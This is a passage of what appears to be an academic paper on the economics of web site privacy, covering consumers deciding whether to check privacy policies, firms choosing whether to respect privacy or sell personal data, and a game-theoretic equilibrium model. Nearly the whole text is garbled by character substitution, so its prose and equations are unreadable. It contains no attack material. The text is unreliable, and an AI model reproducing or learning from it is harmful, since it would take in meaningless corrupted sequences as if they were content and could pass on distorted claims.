Ä+æfå/ûvßZêZúUîßïyäìZâéö%ߨê/ð%ßóQævìdê.àvå5õ5úsê/ð%ßìdàò/êÁóQàvå9æÎìdàäò/éíhßZåê.àÄì`ð%ßì/û+ïó æpFåí
ïòÁò.ßäFöïä%ã_ê/ðßæfóQàvå/ßíhßämê/ïàä%ßö÷ò/ïãäævâÒô)õÁðïòÁïyòÁæväævâàvãvàéFòÁê.àCðïåïyä%ãhçvàé%å9àîÁä
íhßìðæväFïìÄê.à´ìð%ßìû8ïóæNìZæfå_ïò=æâßíhàä8àvå_ä%àvê=øßZóQàvå/ßCøFé%çKïä%ãïêZôW%àvåhßZñvßZåç
ò/ïãäævâætFåí
îàéFâö#ìdå/ßæfê.ßCê.à+å/ßZáå/ßò.ßämêïê/òæfê.ê/ïê/éFö%ßùê.à\îæfåöFòçvàéåáUßZåò.àäFævâ
ïä%óQàvåí_æfê/ïàä*úKê/ð%ßZåßVæfå/ßVìdàò.ê/òævò/ò.àKìZïæfê.ßö¹îïê/ðÓïê?ò/éì`ð¹ævòh
!
ýÁßævöÓê/ð%ßåæfê/ðßZåÁâàä%ãháå`ïñaævìdçÎáUàâïìdç
!
)ðßì/ûCìdàäò/éíhßZåÁå/ßò.áUàäò.ßò-æväö¹ßdëÒê.åéò.ê?îßZø
ò/ïê.ßò
!
Çäò.ê/ævââê/ð%ßÞ5fÞøsïåöCáå/àvãvå`æví
9óìdàéåò.ßhê/ð%ßò.ß_æfåßhß@Xê.å/ßí_ßâç+ð%ßZê.ßZåàvãvßä%ßZàéòVævìdê/ïàäò5æväöNìdàò.ê/òVê/ðæfê5îß
æfå/ß_âàXàvûXïäãÄæfêZôen¨ïCßZåßä}ê&Få`í_ò9îàéâyö+åßèméïå/ßöFïCßZåßä}ê¨ævíhàéämê/ò5àvóIßUàvå/êïä
ìð%ßìûXïäãÎàä+ê/ð%ßò.ß=ò/ïãäævâyòZúsæväö
ßævìðêçXáUßàvó¶ì`ð%ßì/ûKïä%ãÄîàéâö¹ê/æfûvßhæÄöïCUßZå/ßämê
ßàvå/êZô¶ýÁßævöïä%ãæ5ìZâyïì/ûmëÒê/ð%å/àé%ãðùìdàä}ê.åævìdêïò ä%àvê¶ê/ðß?ò/ævíhß?ê/ðïyä%ã5ævò å/ßò.ßæfåì`ðïä%ã
ïä?àäò/éí_ßZå¶ý?ßZáUàvå/ê/òZô
'
äFööFïCßZåßä}ê ò.ßìdê.àvåòIîÁïââmö%ßsäïê.ßâçVðæñvßÁæ5öïCUßZå/ßämêõ
ævò/ò.àKìZïæfê.ßöCópàvåßævìð:ôKi)é%ê)îÁð%ßäÎê.å/çXïyä%ãVê.àÏsäöÎê/ð%ß9ñaævâéßÁàvó2æÏFåí
ïäÄæò.áUßìZïCì
ò.ßìdê.àvåú ê/ð%ßÄéäìdßZå/ê/ævïämêç´ïyòàäâç÷ð%à\î
íéìðkçvàéQ
ââðæñvßÄê.à
åßò.ßæfåìð8ê/ð%ßí¹ú0àvå
ð%àîAìdàä}ñvàâyé%ê.ßö
ê/ðßïå?áFæfå/ê/ïyìZéâæfå?áUàâïìdçCïò-ê.àÄå/ßævö
àvåÁßä%óQàvåìdßvô?õ?ð%ßìdàäò/éíhßZå
ö%àmßòä%àvêÁûKä%à\îê/ð%ßåßævâ:ñfævâé%ßàvóºê/ðïòÁßàvåêìdàò.êøßZóQàvå/ßðæväFö*ôõ?ðßZå/ßZópàvåßvúFïêÁïò
àvópê.ßä_éFä%ûXäàîÁäîÁðæfêºß@%ævìdê¶ßàvåê îÁïââ}øß-ò.áUßämê0øUßZóQàvå/ß)çvàéhðæñvßævâå/ßævö%çóQàéäö
ê/ð%ßòïãäævâxúvïßvôúvð%à\î
íéì`ðê/ðßKFå`í
ìdàä%óQàvåí_òê.à¨ó
ævïåïyä%ópàvå`í_æfê/ïàäáFåævìdê/ïìdßòZôA%àvå
ê/ð%ßùáFéå/áUàò.ßò5àvó-ò/ïíhásâïìZïêçvú:îßÄævò/ò/éí_ßùê/ðæfêìdàäò/éíhßZå`òVæÓáå`ïàvåï¶ævò/òéíhß_ê/ð%ß
ìdàò.êIàvó:õ5úvøsævò.ßö_àäùê/ð%ßïå¶ß@KáUßZåïßäìdß?æväöÎìdàä}ñvßämê/ïàäævâsîÁïòö%àítZê/ð%ßZç=áUßZåìdßïñvß
õ6ævò?ê/ð%ßæñvßZåæfãvßàvóºævâyâFåí_òZú¿ÐQÑvô
õ?ðïò2øUßìdàíhßòßò.áUßìZïævââç¨ê.åïìûmçVîÁð%ßäVöFïCßZåßä}ê6Fåí_òí_æväïáséâæfê.ß¶ê/ð%ßïå2áFæfå.ë
ê/ïìZéâæfå)ê.ßò.ê/ïäã_ìdàò.ê-øFævò.ßöCàäCîÁðßZê/ð%ßZå-ê/ð%ßZçùî)ævämêÁìdàäò/éí_ßZåòê.à_ìð%ßìûÄóQàvå?ò/ïãfë
äævâòZô+»9ä%óQàvå/ê/éäæfê.ßâç
ê/ðïò¨ïä%óQàvåí_æfê/ïàäïò¨ä%àvê¨àvóíéì`ðNð%ßâáê.àÄê/ðß=ìdàäFò/éíhßZåú
ò/ïäìdß=ïó ê/ð%ßZç+ûXä%ßZîAê/ð%ßê.ßò.ê/ïäãCìdàò/ê9øUßZóQàvå/ßðæväö:úsê/ðæfê¨îàéâöæÄîæç
àvóIßUàvå/êÇë
âßò/ò/âç8ãævïäïyä%ã#ïä%óQàvåí_æfê/ïàäæføUàé%ê_ê/ð%ßò/ïãäævâ?æväFöå/ßâæfê/ïñvß+ïämê.ßä}ê/ïàäò_àvó5ê/ð%ß
ìdàíháFævämçvô
à5îÁðæfêIðFæfááUßäòîÁð%ßähê/ðïyò ìdàò.êIõßämê.ßZåò¶ê/ðß-ê.åævöïê/ïàäFævâ%ò/ïãäævâïyä%ã
áFæçvà#í_æfê.å`ïC@X
'
ââàî6óQàvå?ê/ð%ßñfæfåïæføsâßò)å/ßZáå/ßò/ßä}ê/ïäã½
iÒ¡ê/ð%ßøUßä%ßFê)ê/ð%ßìdàäò/éíhßZå-ãvßZê/òóQå/àí
æ=ê.åæväòævìdê/ïàä
õb¡ê/ð%ßVìdàò/ê?ê.à_ê.ßò.êópàvå?ê/ðßìdàäò/éíhßZå
RÓ¡Aê/ð%ßìdàò.êÁóQàvå?ê/ð%ßìdàäFò/éíhßZå?àvó ðæñXïyä%ãhê/ð%ßïå-áå`ïñaævìdçÄñKïàâæfê.ßö
Þ¯¡Aê/ðß5øßäßFê-ê/ð%ß&FåíãvßZê/òóQå/àíê/ð%ß5ê.åæväFò/ævìdê/ïàä
¡ê/ð%ßVìdàò/ê?ê.à_ê/ð%ßsåíê.àùò.ßäö¹ê/ð%ßò/ïãäævâUãéFæfåævä}ê.ßZßïyä%ã_áåïñaævìdç
¡Aê/ð%ßøßäßFê?ê/ð%ßÏFåíãvßZê/ò9óQå/àí
ò/ßââïä%ãhê/ðßìdàäò/éFíhßZå4
òáßZå`ò.àäævâ:ïäópàvåíùæaë
ê/ïàä*ô
z
{
|+}~o}4[~
B}Q}4[~
Ð
}~4o~
swTÐ
¦
£Ôw
¤
wDÐ
¦
*
B}~4
s
¦
£¬w
¤
sÒwgy
¦
£¯v©
Á:ßZê9éò?âæføUßâ*á
ævòê/ð%ßáUàvå/ê/ïàäCàvóAFåí_ò)ê/ðæfêå/ßò.áUßìdê?áå`ïñaævìdçCæväö+ò.ßäöÓê/ð%ß
ò/ïãäævâxú2îÁïê/ðÕ-
w
19ævòê/ðß_áUàvå/ê/ïàä÷àvóFåí_ò¨ê/ðæfêò.ßââ ïäópàvåíùæfê/ïàä÷æväö´ö%àä%ê
ò.ßäöÎê/ð%ß9òïãäævâFæfáFáå/àváåïyæfê.ßâçvôA$NߨìZæväÄê/ð%ßä2säöùê/ð%ß9å/ßâæfê/ïñvߨé%ê/ïâïêç=àvó2ö%ßìZïö%ë
ïä%ãhê.à_ê.ßò.êæ_ò/ïê.ßïäFò.ê.ßævöÓàvóøFé%çKïä%ã=îÁïê/ð%àéêøUßïäã=æîæfåßvô
7
-ÈÐ
}~4o~
1Ö¡
-qswTÐ&1Q¬-
w
1-×wDÐ&1
¡
swTÐ
Øp-
}~
1Ù¡
-qs?1Q¬-
w
1-qswgye1
¡
sbw#y¾
y
Øp-ÈÐ
}~~
1ÚwvØp-
}~
1Ù¡
swTÐw-qsxwºy®
y1
Øp-ÈÐ
}~~
1ÚwvØp-
}~
1Ù¡
swTÐwsÔÕyÔw
y
Øp-ÈÐ
}~~
1ÚwvØp-
}~
1Ù¡
wÏ-
w
1-qswgy1rwTÐ
$
ðßä
áæfááå/àævì`ð%ßò
úsæväö+ævââQFå`í_ò?å/ßò/áßìdêÁáåïñfævìdçvúFê/ð%ßä+ê/ð%ßìdàäò/éíhßZå
ðævò)ãvå/ßæfêÁïäFìdßä}ê/ïñvߨê.à_ä%àvê-ê.ßò/ê-îßZø¹ò/ïê.ßòZúò/ïäìdß9ê/ð%ß5àäâçùöïCUßZå/ßäìdß5ïòê/ðæfê?ð%ß
ïò-áFæçXïäãùõ5ô
'
òÁâàäã_ævòÁê/ð%ßò.çXò/ê.ßí
ïò?íùæfûXïäãeFåí_ò-øUßðæñvßvúFê/ð%ßä
ópåßZßåïö%ßZå`ò
ßíhßZå/ãvß-îÁð%à5ö%àäêî)ævämê ê.à5ê/æfûvß-ê/ð%ß?ìdàò.ê àvóFê.ßò/ê/ïä%ã%ô $
ð%ßäá_æfááå/àævì`ð%ßò§*Kú}æväö
ævââXsåí_òIò/ßââáUßZåò.àäFævâïä%óQàvåí_æfê/ïàä:ú}ê/ðæväÎê/ð%ߨìdàäò/éíhßZåðævòãvå/ßæfê-ïäìdßämê/ïñvßÁê.à
ê.ßò.êIîßZøÎò/ïê.ßòZô
ïäìdß-îßævò/òéíhß?ê/ð%ßìdàò.êIàvó:ò.àí_ßZàä%ß
òIáFåïñfævìdçøUßïä%ã¨ñKïàâæfê.ßö
ê.àøUßIðïãð%ßZå2ê/ðæväê/ð%ßøßäßFê:àvóê/ð%ßê.åæväò/ævìdê/ïàäæväöVê/ð%ß)ìdàò.ê0àvó%ê.ßò/ê/ïä%ã-Qîðïìð
ïò)æòïãäïCsìZævämê)ævò/ò/éíháFê/ïàäùàvó0áåïñfævìdç_ßìdàä%àíùïìZòZúKøFé%ê)æ=ä%ßìdßò/ò/æfå/çÎàä%ß1`ú%ê/ð%ßä
wÏ-qsvwmyÏ1½w2Ð
ïyòIèXéïê.ß-áUàò/ïê/ïñvßvôA$Nß9ìZæväÎö%àò/ïí_ïâyæfåºìZævâyìZéâæfê/ïàäòIîÁïê/ð_âyæføßâyïä%ã
èævòVê/ð%ß_áUàvå/ê/ïàä´àvóê/ðßùìdàäò/éí_ßZåò5îÁð%àÓê.ßò/êZúºæväFö-
wvÛ 15ævòê/ð%ß_áUàvå/ê/ïàäNàvó
ìdàäò/éíhßZå`ò¨îÁð%àÓö%àä%ê¨øUàvê/ð%ßZå¨ê.àÓê.ßò.ê5áåïñaævìdç+áàâyïìZïßòZôÏ)ðßì/ûKïä%ãÄê/ð%ßhå/ßâæfê/ïñvß
øßäßFê/ò-å/ßZñvßævâòÁò/éìð
Øp-
|+}~V}4[o~
1Ù¡
Û¿-q£Ôw
¤
1 ¬-
wÛ 1-q£Òw
¤
1
¡
£¬w
¤
Øp-
B}Q}4[o~
1Ù¡
Û¿-q*,16¬-
wWÛ1-q£¯g©¿1
¡
£¾#©+wºÛ
£ÔwWÛ©
Øp-
|+}~V}4[o~
1ÚwvØp-
B}Q}4[o~
1Ù¡
£¬w
¤
w¾-q£®g©>wºÛ
£ÔwWÛ©Ü1
Øp-
|+}~V}4[o~
1ÚwvØp-
B}Q}4[o~
1Ù¡
w
¤
wW©&#Û£¾#Û©
Øp-
|+}~V}4[o~
1ÚwvØp-
B}Q}4[o~
1Ù¡
wÏ-
¤
#©¿1 #Û£¾gÛ©
$
ðßäkè÷æfááåàævìð%ßò
ú æväö#ævââIìdàäò/éíhßZå`òê.ßò.êîßZø
ò/ïê.ßòZú0ê/ð%ßäkê/ð%ßpFåí
ðævò ò/ïãäïsìZævä}êºïäìdßämê/ïñvß)ê.àìdå/ßæfê.ßÁæ9å/ßò/áßìdê.ó
éâXáåïñaævìdçVíùæfå/ûvßZêZúøXçÞ ë
ô
$
ð%ßä
áÎæfááåàævìð%ßòl*KúKæväöùä%àìdàäò/éíhßZå`ò¶ê.ßò.êîßZøCò/ïê.ßòZúmê/ð%ßäÎê/ð%ßDFåí
ïò¶ñvßZåç_âïûvßâç
ê.àùä%àvê?å/ßò/áßìdê-áFåïñfævìdçÎàvåÁò/ßäöÓê/ð%ßò/ïãäævâxúæväöÓò.ê/æväFöò-ê.à_ãævïä
)
nô
õ?ðïò-òé%ãvãvßò.ê/òÁæùö%åæví_æfê/ïì5ïyäò.ê/æføFïâyïêçùïyäCê/ð%ß5áåïñfævìdçCí_æfå/ûvßZêh
ô$
ð%ßäævââ
såí_ò*å/ßò/áßìdê*áFåïñfævìdçe-
ævò0í_ævä}ç5ìdàäòéíhßZåòUîàéâöâyïûvßâçÁøUßâïßZñvß
óQå/àíå/ßævâ2îàvåâyöCß@XáUßZåïßäFìdß1`úä%à_ìdàäò/éí_ßZåò-îÁïâyâsê.ßò/ê?ópàvåò/ïãäævâòô
ÿXô$
ð%ßä÷ä%àCìdàäò/éíhßZå`òê.ßò/ê9óQàvå5ò/ïãäævâyòZúævâyâ Få`í_òÁîïââ2ò/ßââ2áUßZåò/àäævâ0ïyä%ópàvå/ë
í_æfê/ïàä*ô
5Xô$
ð%ßäÄíhàò.êFåí_òò.ßââáUßZåò/àäævâFïäópàvåíùæfê/ïàä*ú}ævââìdàäò/éFíhßZåò¶îïââò.ê/æfåêê.à
ê.ßò.êæ¹îßZøkò/ïê.ß
òVáå`ïñaævìdçáUàâïìdçv-QîÁðïì`ð#ïòVæføàéêVîÁð%ßZåß_ê/ð%ßÎíùæfå/ûvßZêïò
ä%à\î)1`ô
/%ô$
ð%ßä#ævâyâIìdàäò/éFíhßZåòê.ßò/êVóQàvåò/ïãäævâòZúævââAFåíùòîÁïâyâºßò.ê/æføFâïòð´ìdàí_í_ïêÇë
íhßämê/ò¶ê.àå/ßò.áUßìdê¶áå`ïñaævìdçt-QîÁðïyìð_ïò¶îÁð%ßZå/ß-ê/ð%ß9öæfê/æò/éãvãvßò.ê/òIê/ðßÁí_æfå/ûvßZê
ïò-ðßævö%ßö(1`ô
3
ôýÁßZê/é%åäCê.àùò.ê.ßZá
ævö
ïä½säïê/éí¹ô
õ?ð%ßò.ßhøFå/àævö÷ê.å/ßäöò¨îïââìdàä}ê/ïäXé%ß_ê.àÓåßZñvàâñvßùæfå/àéäFö÷ñaæfåïàéò9ñaævâéßò5àvóá
æväö
èævòÎê/ïíhß
í_àñvßòÄàä*ô
'
ämçæfê.ê.ßíháêÄê.à#åßævìð
æ´áUßZå/óQßìdêÎí_æfå/ûvßZêÄîÁð%ßZåß
ævââlFåíùò=å/ßò.áUßìdê_áUßZåò.àäævâ-ïyä%ópàvå`í_æfê/ïàä*úæväöìdàäò/éFíhßZåò_ûKä%à\îÁïä%ãâçkáFæç
ê/ð%ß
áå/ßí_ïéFíópàvå9ê/ðæfêZúUîÁïâyâ:öïò/ò/àâñvßvúsâæfåãvßâçCøßìZævéFò.ßàvó óQå/ßZßåïö%ßZåÁáå/àvøFâßíùòZúsæväö
Fåí_ò?âßæfáFïä%ã_ê.àÎê/æfûvßævöñaævämê/æfãvßàvó ásævéò.ßòÁïyä¹ò.ßìZé%åïêçvôl$
ðFæfêÁîÁïâyâUßZñvßä}ê/éævâyâç
ßíhßZå/ãvß.-QøFé%ê5ä%àvê5öïå/ßìdê/âçX1Áæfåß=ò/ê/æføFâßhí_ïööFâßVãvå/àéFäöñaævâéßòóQàvå5á´æväö÷è(áQÝ
æväö¹è%Ýô
Øe-ÈÐ
}~~
1Úw#Øe-
B }~
1Þ¡
*
wÏ-
w
1-qswgyÏ1AwTÐ
¡
*
ß
¡
swgyÔwTÐ
sbwgy
Øe-
|+}~o}[~
1rw#Øe-
}Q}[~
1Þ¡
*
w-
¤
#©Ü16#Û
ß
£¯#Û
ß
©
¡
*
Û
ß
¡
¤
g©
£®g©
ó0ê.ßò.ê/ïä%ã_æväFöÓä%àäKëÒê.ßò.ê/ïäã=ìdàäFò/éíhßZåò)åßævìðÓê/ð%ß5å`ïãð}ê)øFævâyæväìdßvúKê/ð%ßäBFåí_ò
ãvßZêßèXéævâ:øUßä%ßsê/ò?óQå/àí
ö%ßìZïyöïä%ã=ê.àÄå/ßò.áUßìdê?àvå¨ä%àvêÁê.àÎå/ßò.áUßìdê?áåïñaævìdçvô
ïíùïÅë
âæfåâçvúFïóºæÎìdßZå/ê/ævïäí_ïC@CàvóAFåí_òÁò/ïãäævâ0æväö
ö%àä
êÁò/ïãäævâÒúê/ð%ßäìdàäò/éíhßZå
òÁâàò/ò
ê.àVê.ßò.ê/ïäãVßèXéævâòIðàî
íéì`ðùê/ð%ßZçhâàò/ß?ópåàí
ðæñXïäãê/ð%ßïåïä%óQàvåí_æfê/ïàä=ñKïàâæfê.ßö
àä_æñvßZåæfãvßvôõ?ðïòºïòê/ð%ß-àäâç
"
ævòð=ßèméïyâïøåïyéí6ïäê/ð%ß-áFæçvàCíùæfê.åïC@Uú}ævâê/ð%àé%ãð
ïêïò9ä%àvê9ê/ð%ß=íhàò.ê¨ò.ê/æføFâßò/ïê/éæfê/ïàä:úsò/ïäFìdßïäöFïñXïyöéævâUìdàäò/éí_ßZåòÁàvåFåíùòÁîÁïyââ
þ
àäâç´øUßÓïäöïå/ßìdê/âçNæväö
ò/âà\îÁâç#æ
Ußìdê.ßöøXçkævämçkìðFævä%ãvßÓê/ð%ßZçkíùæfûvß¹ò.ê.åæfê.ßZãvçvú
æväö¹ä%àvêÁïyí_íhßöïæfê.ßâçùö%åæîÁäÓøFævìûÄê.àùê/ð%ßßèXéïâïøFåïéíÓô
õ?ðïòìdàäìZâéòïàäùö%ßäïê.ßâçå/ßkFßìdê/òê/ð%ß9æñfævïâæføFâß9öæfê/æàäùê/ð%ß9áåïñaævìdçhí_æfå.ë
ûvßZêZô
àäò.ê/ævämêrkséìdê/éæfê/ïàäò2ïäVê/ð%ßøßäßFê/ò2àvó%åßævöïä%ãáåïñfævìdç5áUàâïìZïßò*àvåºä%àvêZúvàvå
ê.àî)æfåöòå/ßò.áUßìdê/ïä%ãVáåïñfævìdç=àvåä%àvêZúXîàéâö_ö%ßòìdåïøUß?ê/ð%ß9ïä}ê.ßZå`ä%ßZêIí_æfå/ûvßZê)íéìð
øßZê.ê.ßZåôÕé%ê/é%å/ßÓãvàævâyò_àvó9ßZñvßZå/çìdàäò/éíhßZåhøUßïäã÷òæñXñmç
æväöáåàvê.ßìdê/ïä%ãNê/ð%ßïå
áßZå`ò.àäævâ9ïä%óQàvåí_æfê/ïàä
îàéâyö
æfááUßæfåCê.à
øUß+æfêÓâßævò.êÓò.àíhßZîðæfêÄïyíháåævìdê/ïìZævâÒô
ó9ä%àvêhævâå/ßævö%ç´åßævìð%ßö*úßZñvßä}ê/éFævââç#ò.àí_ßÄáUßZàváFâßÎîÁïyââIævìdêhå/ßò/áàäFò/ïøFâçvúîÁðïyâß
àvê/ð%ßZåò?îïââUä%àvêZúïäCáUßZå/áUßZê/éïêçvô
à
á
Ù9Ö=ܧJÛeaUÝ/Ù9ÖeabL?Ö=ÚâhÛ×UÛ=ØQH¢ãÝ/ØQHIÜ×UÝ/Ù9Öea
¨é%åí_àXö%ßâyò?ß@KáFâævïäÓáFå/ßZñXïàéò?ê.å/ßäFöòÁïä
ê/ð%ßVîßZø÷ò/ïê.ßVáFåïñfævìdçCíùæfå/ûvßZêZô
Çä¹ê/ð%ß
'ämê.å/àKöéìdê/ïàä*úîßÄò/æîê/ðæfêößò.áFïê.ß_ê/ðßÎó
ævìdêê/ðFæfêíhàvåßùîßZø8ò/ïê.ßòVóQàââà\î
ê/ð%ß
ævïåt
Çä%ópàvå`í_æfê/ïàä
Þ¶åævìdê/ïyìdßòCê.àXöæç
ê/ðæväïyä
ÿ* * *Kú¨ê/ð%ßNäXéíVøUßZåCàvóVîßZøò/ïê.ßò
îÁïê/ðháå`ïñaævìdçò.ßævâòðævò¶ä%àvêIïyäìdå/ßævò.ßöháFå/àváUàvå/ê/ïàäævââçvô0õ?ð%åàé%ãð=àé%åæväFævâçXòïòºàvó
áåïñfævìdçò/ßævâò¶ævòIæVò/ïãäævâxúvîßÁò/ðàîßö_ê/ðæfê¶ê/ðFïò ä%àäKëævö%àváFê/ïàä_ìZævä_øUß-ß@KáFâævïäßö
øßìZævéFò.ßÁæ5áå`ïñaævìdçò.ßævâFöàmßò¶äàvê¶ðæñvß9æâàîßZåìdàò/ê¶ópàvåIáåïñfævìdç}ëÒåßò.áUßìdê/ïä%ã5ò/ïê.ßò
ê/ðæväÓóQàvåÁáåïñaævìdçmëö%ßZóQßìdê/ïä%ãhò/ïê.ßòZô
¨é%å-íhàKö%ßâòævâò.à=ãïñvß5ïäòïãð}ê)ïämê.àê/ðߨò/ê.åéìdê/é%å/ß5æväöÄó
é%ê/é%å/ß9àvó:áå`ïñaævìdçùópàvå
îßZø
ò/ïê.ßòZô
ýÁßìZævââ-ê/ðæfêÎàé%åùíhàKö%ßâ)óQàvåùê.ßò.ê/ïyä%ã´çKïßâö%ßö
æ#òïä%ãâßCßèXéïâïøFåïéí
áàïyä}êZúäæví_ßâç
-
ß
¦
Û
ß
1Ù¡
-
sbw#yÔwYÐ
swgy
¦
¤
#©
£¾#©
1
$Nß?ä%àîòð%àîê/ðæfê ê/ðß)íùæfå/ûvßZê ö%àmßò äàvêºí_àñvß?öïåßìdê/âçê.à¨ê/ðæfê ßèXéïâïøFåïéí
áàïyä}êZôõ?ð%ßìdàämê/ïäméFïä%ãháå/àvãvåßò/ò/ïàäÓàvóºáå`ïñaævìdçÄáUàâïìZïßò)æväö+ìdàäò/éí_ßZå?áå/àvê.ßìnë
ê/ïàäò.àvóQêî)æfå/ßvúæväFöWkéìdê/éæfê/ïä%ãNò.ê/æfê/ïyò.ê/ïìZò=å/ßZãæfåöFïä%ãáåïñfævìdç´áå/àvê.ßìdê/ïàä*úæväö
ê/ð%ßhìdàäìZâéò/ïàäò9àvóIàé%å5íhàKö%ßâøUàvê/ðæfãvåßZßhê/ðæfêïäò.ê.ßævöê/ð%ßhí_æfåûvßZê5àò/ìZïââæfê.ßò
æfå/àéäöÓê/ðß5ßèméïyâïøåïyéí
áUàïämêZô:$NßVò/é%ãvãvßò/ê?ê/ð%å/ßZßåßævò.àäò-îÁðmçvô
1õ?ïíhßê.àCå/ßævì`ðßèméïyâïøåïyéíïòâyæfå/ãvßvôõ?ðßò/ïí_áFâßò.êÁí_àXö%ßâïòÁîÁð%ßZå/ßßZñ}ë
ßZå/çVáFâyæçvßZå¶ïòºò/ð%àvåê/ò/ïãðmê.ßö*úðævòºáUßZå/óQßìdêºïyä%ópàvå`í_æfê/ïàä*úvæväö=ìZævähìdàò.ê/âßòò/âçì`ðævä%ãvß
ê/ð%ßïå¨ò.ê.åæfê.ßZãvç¹ßævì`ð÷ê/é%åä*ôD$NßópàéFäö
æÄìdçXìZâyïä%ã_ê/ð%åàé%ãð
ê/ðßóQàé%åÁáUàò/òïøFâßæfø%ë
ò.àâé%ê.ßòZú àvó9ìdàäò/éí_ßZåòVê.ßò/ê/ïä%ã÷àvåhä%àvêê.ßò/ê/ïä%ã%úIæväö
ìdàíhásæväïßòò/ïãäævâïyä%ã+æväö
*
ä%àvêòïãäævâïäã%ôm
'äkê/ðïòò.ê/æfê.ßvúIäà+àä%ßÄîÁïâyâ ßZñvßZå=å/ßævìð
ê/ð%ßÄßèXéïâïøFåïéí
áUàïämêZô
'äò/ê.ßævö*ú ævò/ò/éíhßùê/ðæfêævìdê.àvå`òê/æfûvßCæ
ìdßZåê/ævïäkæví_àéä}êàvó-ê/ïíhß_ê.à<säö´àé%êïä%ë
ópàvåíùæfê/ïàäÕ-
âïûvßhê/ð%ß=áåàváàvåê/ïàäàvóê/ð%ßïå9àváFáàòïê.ßò¨îÁð%àÓæfå/ßhóQàââà\îÁïä%ãCìdßZå/ê/ævïä
ò.ê.åæfê.ßZãïßò1Iæväöhê.àê/ïíhßvô:ÍIævì`ð_ê/é%å`ä*úàäâç=æVìdßZåê/ævïä_áUàvå/ê/ïàä=àvóUßævì`ðÄævìdê.àvå`òIîÁïyââ
ò.îÁïê/ì`ð#ê/ð%ßïåò.ê.å`æfê.ßZãvçkïó-ò.îÁïê/ìðïäã¹øUßä%ßFê/òê/ð%ßíÓô<ÍIñvßäkí_àvå/ßvú¶ævò/ò/éí_ßùê/ðæfê
ê/ðïòºò.áUßZßöhïòºöïå/ßìdê/âçáå/àváUàvå/ê/ïàäFævâ}ê.à5ê/ð%ß?éê/ïâïêçöïCUßZå/ßäìdß)øUßZêîßZßähàä%ß-ò.ê.åæfêÇë
ßZãvçæväöævä%àvê/ð%ßZåú:ïßvôúUê/ð%ß=ãvå/ßæfê.ßZåê/ð%ßøUßä%ßFê9ê/ð%ßïå¨ïò9ê.àCò/îÁïê/ìðê.àCê/ð%ß=àvê/ð%ßZå
ò.ê.åæfê.ßZãvçvúKê/ð%ßÁíhàvåß?áUßZàváFâß-îÁïâyâXò/îÁïê/ìðùßævìðÎê/é%åä*ô
'
ò.çKò.ê.ßí
àvóUêîàVásæfåævíhßZê.åïì
ßèméæfê/ïàäò-ìdàéâöÓä%à\îøUߨéFò.ßöCê.à_ìZævâìZéâæfê.ß5ð%à\îí_ævämçùáUßZàváFâߨîÁïyââê.ßò.êÁàvå?ð%àî
í_ævä}çFåíùò)îÁïââò/ïãäævâUæfêÁævämçÄãïñvßäÓê/é%åä:ôr
ÇäCê/ðïò-òé%ø%ëíhàKö%ßâxúXê/ð%ß5áå/àváUàvå/ê/ïàä
àvóìdàäò/éFíhßZåò¨æväö÷ìdàíháFæväïßòîïââ*óQå/ßèXé%ßä}ê/âç
íhßZßZê¨ê/ð%ßïå¨áFæfå/ê9àvóIê/ðßßèXéïâyïø%ë
åïéí
áUàïä}êZúUøFéêîÁïyââ6Ufà\ñvßZåò/ð%àXàvêVUÓê/ð%ßáUàïä}êZúUøUßìZævéò.ß=ê/ð%ßïåàvááUàò/ïê.ßäXéíøßZå
-Qê/ð%ßÓìdàíháFæväïßòàvåhìdàäò/éFíhßZåò1Væfå/ßCä%àvêhïä#ê/ðßÄìdàvå/åßìdêáFå/àváUàvå/ê/ïàä8ò/ïí_ïâyæfåâçvô
õ?ð%ßò.ß5ò/ð%àéFâöÎò/áFïåævâsæfå/àéäö*úKéämê/ïâsê/ð%ßZçùßZñvßämê/éævââçÄìdàíhß5ê.àhæ=ò.ê/æväöÓò.ê/ïâyâîÁïê/ð
øàvê/ð¹áàvåê/ïàäò-æfê?ê/ð%ß5ßèXéïâyïøåïéFí
áUàïämêZô
õ?ðïòhïyòhævä
ïämê.ßZå/ßò.ê/ïäã´æfááå/àævì`ð*úøUßìZævéò/ßÓê/ð%ß¹ñvßâàKìZïêçæfê_îðïìð
áUßZàváFâß
ìðævä%ãvßÓò.ê.å`æfê.ßZãvçkïòä%àvê=ævìdê/éævââçNßèXéïñfævâßämêVê.à÷ð%àîó
ævò.êê/ðßÎí_æfå/ûvßZê=å/ßævì`ð%ßò
ê/ð%ß5ßèméFïâïøå`ïéíAáUàïämêZô¶õ2àXà_ò/âà\î
æhò/áßZßö:úXîàéâöCíhßævä
ä%àhìðævä%ãvßæfê?ævâyâUópå/àí
ê/ð%ßùáåßò.ßä}êò/ïê/éæfê/ïàä*ôÓõ2àXà
ó
ævò.êæ+ò.áUßZßö*ú2ãéFæfåævä}ê.ßZßòhí_àvå/ß_àñvßZåhò/ðàmàvê/òZúºê/ð%ß
ß@Xê.å/ßí_ßàvó¶îðïìð¹îàéâyö¹øUßVßZê.ßZåäFævâ0ìdçKìZâïä%ãùøßZêîßZßäê/ð%ßópàéåæføFò.àâyé%ê.ßòZôR ßdë
âàXìZïêçvú%æväöÄìðævä%ãvßò)ïäÎïêZúXîàéâyö_àäâç_ðFæñvß5ò.ßìdàäöÎàvåö%ßZåßßìdê/òô
à=ìdàäò/éíhßZå
áå/àvê.ßìdê/ïàäìdàíháFæväïßò-Qàvå2øFéòïä%ßò/òUìdàäò/éFâê/ævä}ê/ò[1îÁð%à-ßäößæñvàvå2ê.àò.áå/ßævöïyä%ópàvå/ë
í_æfê/ïàä_åßZãæfåöïä%ãæväö_æføFïâyïê/ïßòºê.àò/îÁïê/ìðÎò.ê.åæfê.ßZãïßòúXí_æçhßïê/ð%ßZåøßïå/å/ßâßZñfævämêZú
àvå ßZñvßäháå/ßZñvßämê/ïä%ã¨ê/ð%ß-í_æfå/ûvßZê óQå/àíAå/ßævì`ðïä%ã¨ê/ð%ß)ßèXéïâïøåïéí
áUàïämêZúfê/ð%ß?íhàò.ê
ßÎìZïßämê?áUàò/ïê/ïàäCê/ðæfêÁê/ð%ßí_æfå/ûvßZê9ìZæväÓå/ßævìð:ô
ÿ1=õ?ð%ßCáUàïämêhïò=ä%àvê_ò.ê/æføFâßvô#
Çö%ßævâ)ßèXéïâïøFåïæ¹æfå/ß¹ößsä%ßö8ømç8å/ßïäópàvåìZïyä%ã
óQævìdê.àvåòô
'
øFævââ æfêå/ßò/êVïäNæÓñfævââßZçïòò.ê/æføFâßhøßìZævéFò.ß_ïó)ïêò.ê/æfå/ê/òVê.à¹ãvà¹ê.à¹ßïÅë
